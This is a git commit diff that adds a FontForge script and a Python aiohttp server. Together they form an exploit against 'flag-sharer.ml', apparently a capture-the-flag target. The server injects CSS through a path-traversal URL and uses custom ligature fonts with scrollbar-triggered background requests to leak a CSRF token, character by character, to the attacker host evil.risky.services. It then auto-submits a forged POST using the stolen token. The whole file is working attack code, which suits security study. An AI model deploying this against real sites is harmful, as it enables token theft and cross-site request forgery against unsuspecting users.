init
This commit is contained in:
commit
3bfaee9417
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/fontforge
|
||||
Open($1)
|
||||
Generate($1:r + ".woff")
|
|
@ -0,0 +1,257 @@
|
|||
import asyncio as aio
|
||||
from aiohttp import web
|
||||
import ssl
|
||||
import logging
|
||||
import tempfile
|
||||
import subprocess
|
||||
import os
|
||||
import base64
|
||||
import math
|
||||
|
||||
SELF_URL = "https://evil.risky.services:1338"
|
||||
TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL)
|
||||
SELECTOR = """textarea[name="csrf"]"""
|
||||
SPECIFICITY_HACK = """[name="csrf"]"""
|
||||
LEAK_LEN = 34
|
||||
|
||||
BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"]
|
||||
|
||||
ep = """<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script>const sessid = "{sessid}"</script>
|
||||
<style>
|
||||
#target {{
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
overflow-x: auto;
|
||||
display: block;
|
||||
}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<iframe frameborder="0" height="100%" width="100%" id="target" src={target_uri}></iframe>
|
||||
<form id="myform" method="POST" action="https://flag-sharer.ml/send">
|
||||
<input type="hidden" name="recipient" value="sdfg">
|
||||
<input type="hidden" name="gift" value="actual flag">
|
||||
<input id="csrf" type="hidden" name="csrf" value="">
|
||||
</form>
|
||||
<script>
|
||||
function sleep(ms) {{
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}}
|
||||
async function try_fetch() {{
|
||||
while (true) {{
|
||||
r = await fetch("/token/"+sessid);
|
||||
j = await r.json();
|
||||
console.log(j);
|
||||
if (j['status'] == 'true') {{
|
||||
document.getElementById("csrf").value = j["token"];
|
||||
document.getElementById("myform").submit();
|
||||
break;
|
||||
}}
|
||||
await sleep(3000);
|
||||
}}
|
||||
}}
|
||||
try_fetch();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
base_style = """
|
||||
@import url("{self_url}{{style_path}}");
|
||||
:root {{{{
|
||||
--x: red;
|
||||
}}}}
|
||||
{{selector}} {{{{
|
||||
display: block !important;
|
||||
height: 4em;
|
||||
white-space: nowrap;
|
||||
}}}}
|
||||
{{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}}
|
||||
""".format(self_url=SELF_URL)
|
||||
|
||||
class Session(object):
|
||||
count = 0
|
||||
prefix = "i"
|
||||
evt = aio.Event()
|
||||
|
||||
FONT_CTR = 0
|
||||
def generate_font(ligature):
|
||||
global FONT_CTR
|
||||
svg = """<svg>
|
||||
<defs>
|
||||
<font id="hack{id}" horiz-adv-x="0">
|
||||
<font-face font-family="hack{id}" units-per-em="1000" />
|
||||
<missing-glyph />
|
||||
{}
|
||||
{}
|
||||
</font>
|
||||
</defs>
|
||||
</svg>""".format(
|
||||
'\n '.join(['<glyph unicode="{}" horiz-adv-x="0" d="M1 0z"/>'.format(c) for c in BF_CHARSET]),
|
||||
'<glyph unicode="{}" horiz-adv-x="8000" d="M1 0z"/>'.format(ligature),
|
||||
id=FONT_CTR
|
||||
)
|
||||
print(svg)
|
||||
woff = b''
|
||||
with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp:
|
||||
svgfp.write(svg)
|
||||
svgfp.flush()
|
||||
subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name])
|
||||
woffname = os.path.splitext(svgfp.name)[0] + '.woff'
|
||||
with open(woffname, 'rb') as wofffp:
|
||||
woff = wofffp.read()
|
||||
os.remove(woffname)
|
||||
|
||||
css = """@font-face {{
|
||||
font-family: "hack{}";
|
||||
src: url(data:application/x-font-woff;base64,{});
|
||||
}}
|
||||
""".format(FONT_CTR, base64.b64encode(woff).decode())
|
||||
FONT_CTR += 1
|
||||
return (css, 'hack' + str(FONT_CTR-1))
|
||||
|
||||
def generate_fonts(prefix):
|
||||
css = ''
|
||||
chars = {}
|
||||
for c in BF_CHARSET:
|
||||
fnt, fam = generate_font(prefix + c)
|
||||
css += fnt
|
||||
chars[prefix+c] = fam
|
||||
return (css, chars)
|
||||
|
||||
def generate_frame(frame, sess, count, delta):
|
||||
fdelta = delta / 5.0
|
||||
css = """{}
|
||||
{}
|
||||
{}
|
||||
{}
|
||||
{}""".format(
|
||||
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]),
|
||||
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]),
|
||||
'{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count),
|
||||
'{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]),
|
||||
'{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta)))
|
||||
return css
|
||||
|
||||
import decimal
|
||||
def float_range(start, stop, step):
|
||||
while start < stop:
|
||||
yield float(start)
|
||||
start += step
|
||||
|
||||
ANIM_CTR = 0
|
||||
def generate_animations(chars, sess, count):
|
||||
global ANIM_CTR
|
||||
delta = math.floor(99/(len(chars.keys())-1))
|
||||
frames = list(zip(chars.items(), range(0, 99, delta)))
|
||||
css = """@keyframes troll{} {{
|
||||
{}
|
||||
100% {{font-family:empty;--x:red}}
|
||||
}}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames]))
|
||||
ANIM_CTR += 1
|
||||
return (css, 'troll' + str(ANIM_CTR-1))
|
||||
|
||||
def generate_attack_style(prefix, sess, count):
|
||||
fonts, chars = generate_fonts(prefix)
|
||||
anim, animid = generate_animations(chars, sess, count)
|
||||
css = """@import url("{self_url}{next_path}");
|
||||
{fonts}
|
||||
{anim}
|
||||
{selector}{specificity_hack} {{
|
||||
overflow-x: auto;
|
||||
width: 4em;
|
||||
animation-duration: 3s;
|
||||
animation-delay: 0s;
|
||||
animation-timing-function: step-start;
|
||||
font-family: empty;
|
||||
background: lightblue;
|
||||
animation-name: {animid};
|
||||
}}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid)
|
||||
return css
|
||||
|
||||
SESS_CTR = 0
|
||||
SESSIONS = {}
|
||||
async def handle_entrypoint(req):
|
||||
logging.warning("Got one")
|
||||
global SESS_CTR
|
||||
global SESSIONS
|
||||
sessid = SESS_CTR
|
||||
SESS_CTR += 1
|
||||
SESSIONS[sessid] = Session()
|
||||
SESSIONS[sessid].evt.set()
|
||||
uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid))
|
||||
rez = ep.format(sessid=sessid, target_uri=uniq_url)
|
||||
return web.Response(text=rez, content_type='text/html')
|
||||
|
||||
async def get_style(req):
|
||||
sess = req.match_info['sess']
|
||||
logging.warning("%s requested base style" % sess)
|
||||
rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK)
|
||||
return web.Response(text=rez, content_type='text/css')
|
||||
|
||||
async def handle_attack(req):
|
||||
global SESSIONS
|
||||
sess = req.match_info['sess']
|
||||
sessid = int(sess)
|
||||
if sessid not in SESSIONS.keys():
|
||||
logging.error("Bad session %s" % sess)
|
||||
return web.Response(text='')
|
||||
session = SESSIONS[sessid]
|
||||
await aio.gather(session.evt.wait(), aio.sleep(3))
|
||||
session.evt.clear()
|
||||
count = req.match_info['count']
|
||||
c = int(count)
|
||||
if c >= LEAK_LEN or c != session.count:
|
||||
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||
return web.Response(text='')
|
||||
logging.warning("%s requested attack style" % sess)
|
||||
rez = generate_attack_style(session.prefix, sess, count)
|
||||
session.count += 1
|
||||
return web.Response(text=rez, content_type='text/css')
|
||||
|
||||
async def handle_token(req):
|
||||
global SESSIONS
|
||||
sess = req.match_info['sess']
|
||||
sessid = int(sess)
|
||||
if sessid not in SESSIONS.keys():
|
||||
logging.error("Bad session %s" % sess)
|
||||
session = SESSIONS[sessid]
|
||||
if len(session.prefix) < LEAK_LEN:
|
||||
return web.json_response({'status': 'false'})
|
||||
else:
|
||||
return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]})
|
||||
|
||||
async def handle_leak(req):
|
||||
global SESSIONS
|
||||
sess = req.match_info['sess']
|
||||
sessid = int(sess)
|
||||
if sessid not in SESSIONS.keys():
|
||||
logging.error("Bad session %s" % sess)
|
||||
return web.Response(text='')
|
||||
session = SESSIONS[sessid]
|
||||
count = req.match_info['count']
|
||||
c = int(count)
|
||||
if c >= LEAK_LEN or c != session.count-1:
|
||||
logging.error("Bad count: expected %d got %d" % (session.count, c))
|
||||
return web.Response(text='')
|
||||
session.evt.set()
|
||||
data = req.match_info['data']
|
||||
logging.warning("%s reported %s" % (sess, data))
|
||||
session.prefix=data
|
||||
return web.Response(body=b'', content_type='image/png')
|
||||
|
||||
app = web.Application()
|
||||
app.add_routes([web.get('/entrypoint', handle_entrypoint),
|
||||
web.get('/style/{sess:\d+}', get_style),
|
||||
web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack),
|
||||
web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak),
|
||||
web.get('/token/{sess:\d+}', handle_token),])
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(generate_attack_style('id', '0', '10'))
|
||||
ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
||||
ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem')
|
||||
web.run_app(app, port=1338, ssl_context=ssl_ctx)
|
Loading…
Reference in New Issue